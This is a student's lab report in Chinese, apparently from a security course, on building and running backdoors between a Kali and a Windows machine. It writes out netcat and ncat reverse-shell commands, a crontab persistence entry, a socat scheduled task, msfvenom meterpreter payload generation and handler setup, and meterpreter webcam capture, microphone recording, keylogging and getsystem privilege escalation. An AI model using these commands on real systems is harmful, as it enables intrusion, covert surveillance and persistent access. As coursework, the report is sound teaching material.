Exp2 后门原理与实践 20164302 王一帆
1 实验内容1.1实验主要内容(1)使用netcat获取主机操作Shell,cron启动?(0.5分) (2)使用socat获取主机操作Shell,任务计划启动 (0.5分) (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分) (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分) (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。 1.2 基础问题?1.2.1?例举你能想到的一个后门进入到你系统中的可能方式?? ? ? ? ? ? 可能会在一些非正规的网站下载资源,下载得到的文件里面可能会包含有后门;在钓鱼网站上点击不安全的链接;陌生人发来的邮件中,不明的文件或者链接。 1.2.2 例举你知道的后门如何启动起来(win及linux)的方式?? ? ? ? ?? 在windows中可以通过直接双击后门程序执行,也可以像实验中通过任务计划程序启动后门,如果它添加到了自启动项目,在开机的时候会启动,如果它跟其他软件捆绑在一起,运行其他软件也会一起被启动;在linux中可以像实验中,通过cron指令制定任务来启动程序。 1.2.3?Meterpreter有哪些给你映像深刻的功能?? ? ? ? ? 获取摄像头的照片,还有记录键盘的功能很深刻,通过meterpreter的功能,我自己体验了一回在电影斯诺登档案里面,经过别人电脑的摄像头观察到的画面,令人震惊,我决定要把自己电脑的摄像头也蒙住;文件记录功能,我做实验的时候,尝试了一次在文本文档里输入,又不太相信任何键盘输入都能记录,当时做实验的时候正在截图,然后就试了一下在另存为的对话框里重命名,没想也全部记录了,真的很强大。 1.2.4?如何发现自己有系统有没有被安装后门?? ? ? ? ? 最能想到就是用现在市面上各种各样的杀毒软件进行查杀,因为在做实验的时候把防火墙和杀毒软件关了,所以后门程序一直在,但是我发现,当做完实验把杀毒软件一开,后门程序就很容易被删除了;还可以通过观察注册表什么的,有没有back door有关信息来发现。 1.3 实验准备1.3.1 获取IP地址在Windows的cmd中使用命令??ipconfig 查看IP地址。 由图可知,Windows的IP地址为192.168.1.212。 在linux的终端中使用命令?ifconfig 查看IP地址。 由图可知,linux的IP地址为192.168.1.121。 1.3.2 Windows获得linux的shellWindows用命令?ncat.exe -l -p 4302 监听4302端口,等待其他机器连接该端口。 kali使用命令?nc 192.168.28.166 4302 -e /bin/sh 反弹连接Windows,提供自己的shell。 Windows获得了linux的shell,可以执行linux的相关命令,例ls。 1.3.3 linux获得Windows的shell与上面的步骤相似,在linux中用命令?nc -l -p 4302 设置监听本地4302端口。Windows使用命令?ncat.exe -e cmd.exe 192.168.1.121 4302 反弹连接linux,提供自己的shell。 linux获得Windows的shell,可以执行相关命令,例dir。 1.3.4 传输数据Windows监听4302端口?ncat.exe -l 4302 ,linux连接Windows的4302端口?nc 192.168.1.212 4302 ,然后两台机器就可以互相传输信息了。 1.3.5 实验环境为了方便之后实验中后门程序的运行,提前关闭Windows主机上的杀毒软件和防火墙。 2 实验步骤2.1?使用netcat获取主机操作Shell,cron启动cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。 crontab文件的含义: 用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command 2.1.1 设置定时启动用指令?crontab -e 编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择“3”,利用vim编辑器进行编辑。 点击“i”进入编辑模式,在最后一行添加?33 * * * * /bin/netcat 192.168.1.212 4302 -e /bin/sh ,意思是每小时的33分会反向连接Windows的4302端口。 按Esc键退出编辑模式,输入?:wq 保存并退出。 截个图,等个3分钟,到33分后,Windows获得linux的shell,可执行相关命令,例ls。 2.2?使用socat获取主机操作Shell,任务计划启动在Windows下,打开:控制面板->管理工具->任务计划程序。 ?在操作选项中,选择“创建任务”,填写任务名称20164302。 新建触发,选择开始任务时间为:工作站锁定时。 新建操作,选择启动的程序为 创建完成之后,选择创建的任务点击操作选项的“运行”,任务的状态成为“正在运行”。 在kali终端输入指令?socat - tcp:192.168.1.121:4302? 2.3?使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell2.3.1 生成后门msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.121 LPORT=4302 -f exe > 20164302_backdoor.exe 注:这里设置的主机IP和端口均为linux的IP、端口 2.3.2 将生成的后门传送到Windows主机上在Windows上运行?ncat.exe -lv 6915 > 20164302_backdoor.exe 指令,等待接受后门程序。 图中前两行是Windows正在监听,后两行是在kali上运行?nc 192.168.1.212 6915 < 20164302_backdoor.exe 命令,将后门程序传输到Windows主机上在显示的。 PS:这里突然想试一下从其他湍口传输可不可以,用的端口号是高中的学号,也成功完成了后门程序的传输。 2.3.3 进入msf控制台进行配置在kali上使用?msfconsole 命令,进入msf控制台。 use exploit/multi/handler //进入handler模块 set payload windows/meterpreter/reverse_tcp //对应生成的后门程序设置payload ?输入?show options 查看利用模块的设置信息。 设置主机IP和端口 set LHOST 192.168.1.121 //配置模块的设置信息,这里是设置本主机kali的IP set LPORT 4302 //设置本主机的端口 再次使用?show options 查看设置。 输入?exploit 运行模块。 在Windows上运行后门程序20164302_backdoor.exe。 查看kali,发现获得了Windows主机的连接,得到了远程控制的shell,可执行相关命令,例dir。 2.4?使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权2.4.1 获取目标主机音频、摄像头、击键内容等内容获取目标主机的音频和截屏内容 record_mic //音频 screenshot //截屏 ?使用命令?webcam_snap 可以获取摄像头所拍摄的照片。 这就是获得的摄像头照片,简直是猝不及防,本年度最囧自拍。。。。 在kali上输入指令?keyscan_start ,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令?keyscan_dump ,就可以读取键盘记录。 第一次的时候,没有在Windows在进行任何输入,就直接keyscan_dump了,然后,就什么也没有输出。 之后又进行了尝试,在Windows上新建了一个文本文档,随便输入了一串字符。 可以看到输出的内容是一致的,至于“38”,是想看一下其他形式的键盘记录,这是当时在截图,对图片进行另存为操作,在对话框中输入的编号,也成功记录了。 2.4.2 提权?先使用?getuid 指令查看当前用户,再使用?getsystem 指令进行提权。 然后发现提权失败。。。还不甘心的多试了几次 然后问了一下我们小组的组长,他也有同样的问题,上网搜索,发现需要以管理员身份运行后门程序,才能提权。 所以,exit一下,到后门程序所在文件夹ncat,找到20164302_backdoor.exe,右键,以管理员身份运行,然后再试一次,成功提权。 3 实验感想? ? ?? 通过本次的实验,对于后门的原理有了进一步的认识,对后门的形成、植入并利用后门进行攻击等操作有了初步的了解,自己的水平还不够高,所以实验还是参照学长学姐和其他同学的博客进行的,虽然实验做完了但实验步骤中一些详细内容我还没有理解,需要继续花时间弄懂,整体感觉上,这次的实践内容比上次的实验稍微轻松了一些,也比较好玩,过程中充满了乐趣,希望通过一次次有趣的实验,不仅能学到东西,也能提高自己对这门课的兴趣,把这门课真正的学好。 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
- Windows:在部署到Amazon Beanstalk之前设置PHP文
- 20164310Exp2后门原理与实践
- windows – Jenkins:运行远程测试脚本和报告结果
- Windows – 如何在域控制器上的本地服务帐户下运
- windows-phone-7 – 如何以编程方式检查Windows设
- windows-server-2003 – 完全格式化服务器以便在
- 模拟 – Windows Phone 8.1模拟器启动问题
- 无法将Windows Server 2012作为成员服务器添加到
- 如何在东芝笔记本电脑和Windows 7上使用python进
- windows – 如何将服务的启动/停止/重新启动权限